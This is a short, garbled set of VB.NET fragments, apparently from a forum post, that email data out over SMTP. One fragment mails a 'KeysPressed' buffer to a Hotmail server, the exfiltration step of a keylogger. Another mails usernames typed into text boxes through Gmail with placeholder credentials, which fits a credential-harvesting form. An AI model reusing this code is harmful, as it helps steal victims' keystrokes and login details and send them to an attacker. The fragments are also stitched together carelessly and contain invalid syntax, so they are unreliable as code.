
Dim MyMailMessage As New MailMessage()
MyMailMessage.Body = KeysPressed
Dim SMTPServer As New SmtpClient("smtp.live.com")
SMTPServer.Send(MyMailMessage)
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("Youremailaddress", "password")
'using gmail
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress(Textbox, or a email)
mail.To.Add(TextBox1.Text) <-- W/e Textbox
mail.Subject = "Username: " & TextBox2.Text <-- W/e Textbox
mail.Body = "Username : " & TextBox3.Text <-- W/e Textbox
smtpServer.Send(mail)
Imports System.Net.Mail